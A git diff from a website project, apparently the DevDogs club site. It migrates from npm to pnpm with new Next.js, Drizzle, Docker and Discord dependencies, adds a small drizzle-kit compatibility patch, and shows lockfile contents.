- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "graceful-fs": "^4.1.11",
- "micromatch": "^3.1.10",
- "readable-stream": "^2.0.2"
- },
- "engines": {
- "node": ">=0.10"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/to-regex-range": {
- "version": "2.1.1",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "is-number": "^3.0.0",
- "repeat-string": "^1.6.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/webidl-conversions": {
- "version": "7.0.0",
- "license": "BSD-2-Clause",
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/webpack": {
- "version": "4.47.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.9.0",
- "@webassemblyjs/helper-module-context": "1.9.0",
- "@webassemblyjs/wasm-edit": "1.9.0",
- "@webassemblyjs/wasm-parser": "1.9.0",
- "acorn": "^6.4.1",
- "ajv": "^6.10.2",
- "ajv-keywords": "^3.4.1",
- "chrome-trace-event": "^1.0.2",
- "enhanced-resolve": "^4.5.0",
- "eslint-scope": "^4.0.3",
- "json-parse-better-errors": "^1.0.2",
- "loader-runner": "^2.4.0",
- "loader-utils": "^1.2.3",
- "memory-fs": "^0.4.1",
- "micromatch": "^3.1.10",
- "mkdirp": "^0.5.3",
- "neo-async": "^2.6.1",
- "node-libs-browser": "^2.2.1",
- "schema-utils": "^1.0.0",
- "tapable": "^1.1.3",
- "terser-webpack-plugin": "^1.4.3",
- "watchpack": "^1.7.4",
- "webpack-sources": "^1.4.1"
- },
- "bin": {
- "webpack": "bin/webpack.js"
- },
- "engines": {
- "node": ">=6.11.5"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/webpack"
- },
- "peerDependenciesMeta": {
- "webpack-cli": {
- "optional": true
- },
- "webpack-command": {
- "optional": true
- }
- }
- },
- "node_modules/webpack-sources": {
- "version": "1.4.3",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "source-list-map": "^2.0.0",
- "source-map": "~0.6.1"
- }
- },
- "node_modules/webpack-sources/node_modules/source-map": {
- "version": "0.6.1",
- "license": "BSD-3-Clause",
- "peer": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/webpack/node_modules/braces": {
- "version": "2.3.2",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "arr-flatten": "^1.1.0",
- "array-unique": "^0.3.2",
- "extend-shallow": "^2.0.1",
- "fill-range": "^4.0.0",
- "isobject": "^3.0.1",
- "repeat-element": "^1.1.2",
- "snapdragon": "^0.8.1",
- "snapdragon-node": "^2.0.1",
- "split-string": "^3.0.2",
- "to-regex": "^3.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/webpack/node_modules/braces/node_modules/extend-shallow": {
- "version": "2.0.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "is-extendable": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/webpack/node_modules/fill-range": {
- "version": "4.0.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "extend-shallow": "^2.0.1",
- "is-number": "^3.0.0",
- "repeat-string": "^1.6.1",
- "to-regex-range": "^2.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/webpack/node_modules/fill-range/node_modules/extend-shallow": {
- "version": "2.0.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "is-extendable": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/webpack/node_modules/is-extendable": {
- "version": "0.1.1",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/webpack/node_modules/is-number": {
- "version": "3.0.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "kind-of": "^3.0.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/webpack/node_modules/is-number/node_modules/kind-of": {
- "version": "3.2.2",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "is-buffer": "^1.1.5"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/webpack/node_modules/micromatch": {
- "version": "3.1.10",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "arr-diff": "^4.0.0",
- "array-unique": "^0.3.2",
- "braces": "^2.3.1",
- "define-property": "^2.0.2",
- "extend-shallow": "^3.0.2",
- "extglob": "^2.0.4",
- "fragment-cache": "^0.2.1",
- "kind-of": "^6.0.2",
- "nanomatch": "^1.2.9",
- "object.pick": "^1.3.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/webpack/node_modules/to-regex-range": {
- "version": "2.1.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "is-number": "^3.0.0",
- "repeat-string": "^1.6.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/whatwg-encoding": {
- "version": "2.0.0",
- "license": "MIT",
- "dependencies": {
- "iconv-lite": "0.6.3"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/whatwg-mimetype": {
- "version": "3.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/whatwg-url": {
- "version": "11.0.0",
- "license": "MIT",
- "dependencies": {
- "tr46": "^3.0.0",
- "webidl-conversions": "^7.0.0"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/wheel-gestures": {
- "version": "2.2.47",
- "license": "MIT",
- "dependencies": {
- "@babel/plugin-proposal-private-property-in-object": "^7.21.11",
- "jest-environment-jsdom": "^29.7.0"
- },
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/which": {
- "version": "2.0.2",
- "license": "ISC",
- "dependencies": {
- "isexe": "^2.0.0"
- },
- "bin": {
- "node-which": "bin/node-which"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/which-boxed-primitive": {
- "version": "1.0.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "is-bigint": "^1.0.1",
- "is-boolean-object": "^1.1.0",
- "is-number-object": "^1.0.4",
- "is-string": "^1.0.5",
- "is-symbol": "^1.0.3"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/which-builtin-type": {
- "version": "1.1.4",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "function.prototype.name": "^1.1.6",
- "has-tostringtag": "^1.0.2",
- "is-async-function": "^2.0.0",
- "is-date-object": "^1.0.5",
- "is-finalizationregistry": "^1.0.2",
- "is-generator-function": "^1.0.10",
- "is-regex": "^1.1.4",
- "is-weakref": "^1.0.2",
- "isarray": "^2.0.5",
- "which-boxed-primitive": "^1.0.2",
- "which-collection": "^1.0.2",
- "which-typed-array": "^1.1.15"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/which-builtin-type/node_modules/isarray": {
- "version": "2.0.5",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/which-collection": {
- "version": "1.0.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "is-map": "^2.0.3",
- "is-set": "^2.0.3",
- "is-weakmap": "^2.0.2",
- "is-weakset": "^2.0.3"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/which-typed-array": {
- "version": "1.1.15",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "available-typed-arrays": "^1.0.7",
- "call-bind": "^1.0.7",
- "for-each": "^0.3.3",
- "gopd": "^1.0.1",
- "has-tostringtag": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/word-wrap": {
- "version": "1.2.5",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/worker-farm": {
- "version": "1.7.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "errno": "~0.1.7"
- }
- },
- "node_modules/wrap-ansi": {
- "version": "8.1.0",
- "license": "MIT",
- "dependencies": {
- "ansi-styles": "^6.1.0",
- "string-width": "^5.0.1",
- "strip-ansi": "^7.0.1"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
- }
- },
- "node_modules/wrap-ansi-cjs": {
- "name": "wrap-ansi",
- "version": "7.0.0",
- "license": "MIT",
- "dependencies": {
- "ansi-styles": "^4.0.0",
- "string-width": "^4.1.0",
- "strip-ansi": "^6.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
- }
- },
- "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": {
- "version": "5.0.1",
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": {
- "version": "4.3.0",
- "license": "MIT",
- "dependencies": {
- "color-convert": "^2.0.1"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/wrap-ansi-cjs/node_modules/color-convert": {
- "version": "2.0.1",
- "license": "MIT",
- "dependencies": {
- "color-name": "~1.1.4"
- },
- "engines": {
- "node": ">=7.0.0"
- }
- },
- "node_modules/wrap-ansi-cjs/node_modules/color-name": {
- "version": "1.1.4",
- "license": "MIT"
- },
- "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": {
- "version": "8.0.0",
- "license": "MIT"
- },
- "node_modules/wrap-ansi-cjs/node_modules/string-width": {
- "version": "4.2.3",
- "license": "MIT",
- "dependencies": {
- "emoji-regex": "^8.0.0",
- "is-fullwidth-code-point": "^3.0.0",
- "strip-ansi": "^6.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": {
- "version": "6.0.1",
- "license": "MIT",
- "dependencies": {
- "ansi-regex": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/wrap-ansi/node_modules/ansi-styles": {
- "version": "6.2.1",
- "license": "MIT",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/wrappy": {
- "version": "1.0.2",
- "license": "ISC"
- },
- "node_modules/ws": {
- "version": "8.18.0",
- "license": "MIT",
- "engines": {
- "node": ">=10.0.0"
- },
- "peerDependencies": {
- "bufferutil": "^4.0.1",
- "utf-8-validate": ">=5.0.2"
- },
- "peerDependenciesMeta": {
- "bufferutil": {
- "optional": true
- },
- "utf-8-validate": {
- "optional": true
- }
- }
- },
- "node_modules/xml-name-validator": {
- "version": "4.0.0",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/xmlchars": {
- "version": "2.2.0",
- "license": "MIT"
- },
- "node_modules/xtend": {
- "version": "4.0.2",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=0.4"
- }
- },
- "node_modules/y18n": {
- "version": "4.0.3",
- "license": "ISC",
- "peer": true
- },
- "node_modules/yallist": {
- "version": "3.1.1",
- "license": "ISC",
- "peer": true
- },
- "node_modules/yaml": {
- "version": "1.10.2",
- "license": "ISC",
- "peer": true,
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/yocto-queue": {
- "version": "0.1.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- }
- }
-}
diff --git a/package.json b/package.json
index 86e4422..948940c 100644
--- a/package.json
+++ b/package.json
@@ -1,74 +1,82 @@
{
- "name": "devdawgssite",
+ "name": "DevDogs-Website",
"version": "0.1.0",
- "homepage": "https://devdogs-uga.github.io/DevDogsWebsite/",
"private": true,
+ "type": "module",
"scripts": {
- "predeploy": "npm run build",
- "deploy": "gh-pages -d build",
- "dev": "next dev",
"build": "next build",
+ "check": "pnpm run lint:fix && pnpm run typecheck && pnpm run prettier",
+ "db:generate": "pnpm drizzle-kit export > volumes/atlas/ddl.sql",
+ "db:migrate": "docker compose run --rm atlas schema apply --config file://migrations/atlas.hcl --env local",
+ "db:push": "pnpm db:generate && pnpm db:migrate",
+ "db:studio": "drizzle-kit studio",
+ "docker:build": "docker compose create --pull=always",
+ "docker:ready": "docker compose up mysql mysql-dev s3 --build --wait",
+ "docker:reset": "docker compose down -v --remove-orphans",
+ "dev": "pnpm docker:ready && pnpm db:push && turbo run Next.js Drizzle-Studio",
+ "Next.js": "next dev --turbo",
+ "Drizzle-Studio": "drizzle-kit studio",
+ "format:check": "prettier --check \"**/*.{ts,tsx,js,jsx,mdx}\" --cache",
+ "format:write": "prettier --write \"**/*.{ts,tsx,js,jsx,mdx}\" --cache",
+ "lint": "eslint src",
+ "lint:fix": "eslint --fix src",
+ "postinstall": "pnpm docker:reset && pnpm docker:build",
+ "prettier": "prettier -w .",
+ "prettier:check": "prettier -c .",
+ "preview": "next build && next start",
"start": "next start",
- "lint": "next lint",
- "prepare": "husky",
- "fl": "npx prettier --write src & npx eslint --fix src"
+ "sync-upstream": "git fetch && git branch | grep -Po '\\Kfeature/.*' | xargs -i sh -c 'git checkout {} && git pull upstream main && git push upstream {}'",
+ "typecheck": "tsc --noEmit"
},
"dependencies": {
- "@chakra-ui/react": "^2.8.2",
- "@heroicons/react": "^2.1.5",
- "@nextui-org/avatar": "^2.0.32",
- "@nextui-org/button": "^2.0.37",
- "@nextui-org/card": "^2.0.33",
- "@nextui-org/listbox": "^2.1.25",
- "@radix-ui/react-alert-dialog": "^1.1.2",
- "@radix-ui/react-avatar": "^1.1.1",
- "@radix-ui/react-dropdown-menu": "^2.1.2",
- "@radix-ui/react-icons": "^1.3.0",
- "@radix-ui/react-label": "^2.1.0",
- "@radix-ui/react-scroll-area": "^1.2.0",
- "@radix-ui/react-separator": "^1.1.0",
- "@radix-ui/react-slot": "^1.1.0",
- "@radix-ui/react-toast": "^1.2.2",
- "@vercel/blob": "^0.25.1",
- "axios": "^1.7.7",
- "bootstrap": "^5.3.3",
- "class-variance-authority": "^0.7.0",
- "clsx": "^2.1.1",
- "embla-carousel-react": "^8.1.8",
- "embla-carousel-wheel-gestures": "^8.0.1",
- "input-otp": "^1.2.4",
- "lucide-react": "^0.452.0",
- "next": "^14.2.5",
- "next-optimized-images": "^2.6.2",
- "prop-types": "^15.8.1",
- "query-string": "^9.1.1",
- "react": "^18.3.1",
- "react-dom": "^18.3.1",
- "react-icons": "^5.3.0",
- "react-responsive": "^10.0.0",
- "react-slick": "^0.30.2",
- "slick-carousel": "^1.8.1",
- "tailwind-merge": "^2.5.3",
- "tailwindcss-animate": "^1.0.7"
+ "@date-fns/tz": "^1.4.1",
+ "@discordjs/builders": "^1.13.1",
+ "@discordjs/rest": "^2.6.0",
+ "@octokit/graphql": "^9.0.3",
+ "@paralleldrive/cuid2": "^3.3.0",
+ "@radix-ui/react-alert-dialog": "^1.1.15",
+ "@radix-ui/react-avatar": "^1.1.11",
+ "@radix-ui/react-collapsible": "^1.1.12",
+ "@radix-ui/react-dialog": "^1.1.15",
+ "@radix-ui/react-dropdown-menu": "^2.1.16",
+ "@t3-oss/env-nextjs": "^0.13.10",
+ "@tailwindcss/forms": "^0.5.11",
+ "@tailwindcss/typography": "^0.5.19",
+ "bcrypt": "^6.0.0",
+ "date-fns": "^4.1.0",
+ "discord-api-types": "^0.38.37",
+ "discord-interactions": "^4.4.0",
+ "drizzle-orm": "1.0.0-beta.11-05230d9",
+ "mysql2": "^3.16.0",
+ "next": "^16.1.5",
+ "react": "^19.2.4",
+ "react-dom": "^19.2.4",
+ "react-fast-marquee": "^1.6.5",
+ "react-icons": "^5.5.0",
+ "zod": "4.1.8",
+ "zod-form-data": "^3.0.1"
},
"devDependencies": {
- "@eslint/js": "^9.9.0",
- "autoprefixer": "^10.4.20",
- "eslint": "^9.9.0",
- "eslint-config-prettier": "^9.1.0",
- "eslint-plugin-prettier": "^5.2.1",
- "eslint-plugin-react": "^7.35.0",
- "gh-pages": "^6.1.1",
- "globals": "^15.9.0",
- "husky": "^9.1.4",
- "lint-staged": "^15.2.9",
- "postcss": "^8.4.41",
- "prettier": "^3.3.3",
- "prettier-plugin-tailwindcss": "^0.6.8",
- "tailwindcss": "^3.4.10"
+ "@eslint/eslintrc": "^3.3.3",
+ "@tailwindcss/postcss": "^4.1.18",
+ "@types/bcrypt": "^6.0.0",
+ "@types/node": "^25.2.0",
+ "@types/react": "^19.2.7",
+ "@types/react-dom": "^19.2.3",
+ "dotenv-cli": "^10.0.0",
+ "drizzle-kit": "1.0.0-beta.11-05230d9",
+ "eslint": "^9.39.2",
+ "eslint-config-next": "^15.5.9",
+ "eslint-plugin-drizzle": "^0.2.3",
+ "postcss": "^8.5.6",
+ "prettier": "^3.7.4",
+ "prettier-plugin-tailwindcss": "^0.7.2",
+ "raw-loader": "^4.0.2",
+ "tailwindcss": "^4.1.18",
+ "turbo": "^2.8.3",
+ "typescript": "^5.9.3",
+ "typescript-eslint": "^8.52.0",
+ "vercel": "^50.10.0"
},
- "lint-staged": {
- "src/**/*.js": "eslint --cache --fix",
- "src/**/*.css": "prettier --write"
- }
+ "packageManager": "pnpm@10.28.1"
}
diff --git a/patches/drizzle-kit.patch b/patches/drizzle-kit.patch
new file mode 100644
index 0000000..4754cc6
--- /dev/null
+++ b/patches/drizzle-kit.patch
@@ -0,0 +1,51 @@
+diff --git a/api.js b/api.js
+index 624e834abe70dc59e75344927922ab585fcb0439..5281829b3c75f37095dba7085eabf875de0c03fc 100644
+--- a/api.js
++++ b/api.js
+@@ -42202,9 +42202,9 @@ AND
+ progressCallback("checks", checksCount, "fetching");
+ }
+ for (const checkConstraintRow of checkConstraints) {
+- const constraintName = checkConstraintRow["CONSTRAINT_NAME"];
+- const constraintValue = checkConstraintRow["CHECK_CLAUSE"];
+- const tableName = checkConstraintRow["TABLE_NAME"];
++ const constraintName = checkConstraintRow["CONSTRAINT_NAME"] ?? checkConstraintRow["constraint_name"];
++ const constraintValue = checkConstraintRow["CHECK_CLAUSE"] ?? checkConstraintRow["check_clause"];
++ const tableName = checkConstraintRow["TABLE_NAME"] ?? checkConstraintRow["table_name"];
+ const tableInResult = result[tableName];
+ tableInResult.checkConstraint[constraintName] = {
+ name: constraintName,
+diff --git a/api.mjs b/api.mjs
+index df1c48e05be38829e97f175445c374ab28334dc4..e9240d7042ef790323a0940909b69ff1797bd1c2 100644
+--- a/api.mjs
++++ b/api.mjs
+@@ -42207,9 +42207,9 @@ AND
+ progressCallback("checks", checksCount, "fetching");
+ }
+ for (const checkConstraintRow of checkConstraints) {
+- const constraintName = checkConstraintRow["CONSTRAINT_NAME"];
+- const constraintValue = checkConstraintRow["CHECK_CLAUSE"];
+- const tableName = checkConstraintRow["TABLE_NAME"];
++ const constraintName = checkConstraintRow["CONSTRAINT_NAME"] ?? checkConstraintRow["constraint_name"];
++ const constraintValue = checkConstraintRow["CHECK_CLAUSE"] ?? checkConstraintRow["check_clause"];
++ const tableName = checkConstraintRow["TABLE_NAME"] ?? checkConstraintRow["table_name"];
+ const tableInResult = result[tableName];
+ tableInResult.checkConstraint[constraintName] = {
+ name: constraintName,
+diff --git a/bin.cjs b/bin.cjs
+index 27f1406f7e68279ade9e4c95ad023ac44ab6a714..d004c8bf6aa8efe2ebe0db9825c3650442f22ed8 100755
+--- a/bin.cjs
++++ b/bin.cjs
+@@ -18394,9 +18394,9 @@ AND
+ progressCallback("checks", checksCount, "fetching");
+ }
+ for (const checkConstraintRow of checkConstraints) {
+- const constraintName = checkConstraintRow["CONSTRAINT_NAME"];
+- const constraintValue = checkConstraintRow["CHECK_CLAUSE"];
+- const tableName = checkConstraintRow["TABLE_NAME"];
++ const constraintName = checkConstraintRow["CONSTRAINT_NAME"] ?? checkConstraintRow["constraint_name"];
++ const constraintValue = checkConstraintRow["CHECK_CLAUSE"] ?? checkConstraintRow["check_clause"];
++ const tableName = checkConstraintRow["TABLE_NAME"] ?? checkConstraintRow["table_name"];
+ const tableInResult = result[tableName];
+ tableInResult.checkConstraint[constraintName] = {
+ name: constraintName,
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
new file mode 100644
index 0000000..b43632e
--- /dev/null
+++ b/pnpm-lock.yaml
@@ -0,0 +1,9454 @@
+lockfileVersion: '9.0'
+
+settings:
+ autoInstallPeers: true
+ excludeLinksFromLockfile: false
+
+importers:
+
+ .:
+ dependencies:
+ '@date-fns/tz':
+ specifier: ^1.4.1
+ version: 1.4.1
+ '@discordjs/builders':
+ specifier: ^1.13.1
+ version: 1.13.1
+ '@discordjs/rest':
+ specifier: ^2.6.0
+ version: 2.6.0
+ '@octokit/graphql':
+ specifier: ^9.0.3
+ version: 9.0.3
+ '@paralleldrive/cuid2':
+ specifier: ^3.3.0
+ version: 3.3.0
+ '@radix-ui/react-alert-dialog':
+ specifier: ^1.1.15
+ version: 1.1.15(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-avatar':
+ specifier: ^1.1.11
+ version: 1.1.11(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-collapsible':
+ specifier: ^1.1.12
+ version: 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-dialog':
+ specifier: ^1.1.15
+ version: 1.1.15(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@radix-ui/react-dropdown-menu':
+ specifier: ^2.1.16
+ version: 2.1.16(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ '@t3-oss/env-nextjs':
+ specifier: ^0.13.10
+ version: 0.13.10(typescript@5.9.3)(zod@4.1.8)
+ '@tailwindcss/forms':
+ specifier: ^0.5.11
+ version: 0.5.11(tailwindcss@4.1.18)
+ '@tailwindcss/typography':
+ specifier: ^0.5.19
+ version: 0.5.19(tailwindcss@4.1.18)
+ bcrypt:
+ specifier: ^6.0.0
+ version: 6.0.0
+ date-fns:
+ specifier: ^4.1.0
+ version: 4.1.0
+ discord-api-types:
+ specifier: ^0.38.37
+ version: 0.38.37
+ discord-interactions:
+ specifier: ^4.4.0
+ version: 4.4.0
+ drizzle-orm:
+ specifier: 1.0.0-beta.11-05230d9
+ version: 1.0.0-beta.11-05230d9(@types/mssql@9.1.9)(mssql@11.0.1)(mysql2@3.16.0)
+ mysql2:
+ specifier: ^3.16.0
+ version: 3.16.0
+ next:
+ specifier: ^16.1.5
+ version: 16.1.5(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ react:
+ specifier: ^19.2.4
+ version: 19.2.4
+ react-dom:
+ specifier: ^19.2.4
+ version: 19.2.4(react@19.2.4)
+ react-fast-marquee:
+ specifier: ^1.6.5
+ version: 1.6.5(react-dom@19.2.4(react@19.2.4))(react@19.2.4)
+ react-icons:
+ specifier: ^5.5.0
+ version: 5.5.0(react@19.2.4)
+ zod:
+ specifier: 4.1.8
+ version: 4.1.8
+ zod-form-data:
+ specifier: ^3.0.1
+ version: 3.0.1(zod@4.1.8)
+ devDependencies:
+ '@eslint/eslintrc':
+ specifier: ^3.3.3
+ version: 3.3.3
+ '@tailwindcss/postcss':
+ specifier: ^4.1.18
+ version: 4.1.18
+ '@types/bcrypt':
+ specifier: ^6.0.0
+ version: 6.0.0
+ '@types/node':
+ specifier: ^25.2.0
+ version: 25.2.0
+ '@types/react':
+ specifier: ^19.2.7
+ version: 19.2.7
+ '@types/react-dom':
+ specifier: ^19.2.3
+ version: 19.2.3(@types/react@19.2.7)
+ dotenv-cli:
+ specifier: ^10.0.0
+ version: 10.0.0
+ drizzle-kit:
+ specifier: 1.0.0-beta.11-05230d9
+ version: 1.0.0-beta.11-05230d9
+ eslint:
+ specifier: ^9.39.2
+ version: 9.39.2(jiti@2.6.1)
+ eslint-config-next:
+ specifier: ^15.5.9
+ version: 15.5.9(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)
+ eslint-plugin-drizzle:
+ specifier: ^0.2.3
+ version: 0.2.3(eslint@9.39.2(jiti@2.6.1))
+ postcss:
+ specifier: ^8.5.6
+ version: 8.5.6
+ prettier:
+ specifier: ^3.7.4
+ version: 3.7.4
+ prettier-plugin-tailwindcss:
+ specifier: ^0.7.2
+ version: 0.7.2(prettier@3.7.4)
+ raw-loader:
+ specifier: ^4.0.2
+ version: 4.0.2(webpack@5.104.1)
+ tailwindcss:
+ specifier: ^4.1.18
+ version: 4.1.18
+ turbo:
+ specifier: ^2.8.3
+ version: 2.8.3
+ typescript:
+ specifier: ^5.9.3
+ version: 5.9.3
+ typescript-eslint:
+ specifier: ^8.52.0
+ version: 8.52.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3)
+ vercel:
+ specifier: ^50.10.0
+ version: 50.10.0(typescript@5.9.3)
+
+packages:
+
+ '@alloc/quick-lru@5.2.0':
+ resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==}
+ engines: {node: '>=10'}
+
+ '@azure-rest/core-client@2.5.1':
+ resolution: {integrity: sha512-EHaOXW0RYDKS5CFffnixdyRPak5ytiCtU7uXDcP/uiY+A6jFRwNGzzJBiznkCzvi5EYpY+YWinieqHb0oY916A==}
+ engines: {node: '>=20.0.0'}
+
+ '@azure/abort-controller@2.1.2':
+ resolution: {integrity: sha512-nBrLsEWm4J2u5LpAPjxADTlq3trDgVZZXHNKabeXZtpq3d3AbN/KGO82R87rdDz5/lYB024rtEf10/q0urNgsA==}
+ engines: {node: '>=18.0.0'}
+
+ '@azure/core-auth@1.10.1':
+ resolution: {integrity: sha512-ykRMW8PjVAn+RS6ww5cmK9U2CyH9p4Q88YJwvUslfuMmN98w/2rdGRLPqJYObapBCdzBVeDgYWdJnFPFb7qzpg==}
+ engines: {node: '>=20.0.0'}
+
+ '@azure/core-client@1.10.1':
+ resolution: {integrity: sha512-Nh5PhEOeY6PrnxNPsEHRr9eimxLwgLlpmguQaHKBinFYA/RU9+kOYVOQqOrTsCL+KSxrLLl1gD8Dk5BFW/7l/w==}
+ engines: {node: '>=20.0.0'}
+
+ '@azure/core-http-compat@2.3.1':
+ resolution: {integrity: sha512-az9BkXND3/d5VgdRRQVkiJb2gOmDU8Qcq4GvjtBmDICNiQ9udFmDk4ZpSB5Qq1OmtDJGlQAfBaS4palFsazQ5g==}
+ engines: {node: '>=20.0.0'}
+
+ '@azure/core-lro@2.7.2':
+ resolution: {integrity: sha512-0YIpccoX8m/k00O7mDDMdJpbr6mf1yWo2dfmxt5A8XVZVVMz2SSKaEbMCeJRvgQ0IaSlqhjT47p4hVIRRy90xw==}
+ engines: {node: '>=18.0.0'}
+
+ '@azure/core-paging@1.6.2':
+ resolution: {integrity: sha512-YKWi9YuCU04B55h25cnOYZHxXYtEvQEbKST5vqRga7hWY9ydd3FZHdeQF8pyh+acWZvppw13M/LMGx0LABUVMA==}
+ engines: {node: '>=18.0.0'}
+
+ '@azure/core-rest-pipeline@1.22.2':
+ resolution: {integrity: sha512-MzHym+wOi8CLUlKCQu12de0nwcq9k9Kuv43j4Wa++CsCpJwps2eeBQwD2Bu8snkxTtDKDx4GwjuR9E8yC8LNrg==}
+ engines: {node: '>=20.0.0'}
+
+ '@azure/core-tracing@1.3.1':
+ resolution: {integrity: sha512-9MWKevR7Hz8kNzzPLfX4EAtGM2b8mr50HPDBvio96bURP/9C+HjdH3sBlLSNNrvRAr5/k/svoH457gB5IKpmwQ==}
+ engines: {node: '>=20.0.0'}
+
+ '@azure/core-util@1.13.1':
+ resolution: {integrity: sha512-XPArKLzsvl0Hf0CaGyKHUyVgF7oDnhKoP85Xv6M4StF/1AhfORhZudHtOyf2s+FcbuQ9dPRAjB8J2KvRRMUK2A==}
+ engines: {node: '>=20.0.0'}
+
+ '@azure/identity@4.13.0':
+ resolution: {integrity: sha512-uWC0fssc+hs1TGGVkkghiaFkkS7NkTxfnCH+Hdg+yTehTpMcehpok4PgUKKdyCH+9ldu6FhiHRv84Ntqj1vVcw==}
+ engines: {node: '>=20.0.0'}
+
+ '@azure/keyvault-common@2.0.0':
+ resolution: {integrity: sha512-wRLVaroQtOqfg60cxkzUkGKrKMsCP6uYXAOomOIysSMyt1/YM0eUn9LqieAWM8DLcU4+07Fio2YGpPeqUbpP9w==}
+ engines: {node: '>=18.0.0'}
+
+ '@azure/keyvault-keys@4.10.0':
+ resolution: {integrity: sha512-eDT7iXoBTRZ2n3fLiftuGJFD+yjkiB1GNqzU2KbY1TLYeXeSPVTVgn2eJ5vmRTZ11978jy2Kg2wI7xa9Tyr8ag==}
+ engines: {node: '>=18.0.0'}
+
+ '@azure/logger@1.3.0':
+ resolution: {integrity: sha512-fCqPIfOcLE+CGqGPd66c8bZpwAji98tZ4JI9i/mlTNTlsIWslCfpg48s/ypyLxZTump5sypjrKn2/kY7q8oAbA==}
+ engines: {node: '>=20.0.0'}
+
+ '@azure/msal-browser@4.28.1':
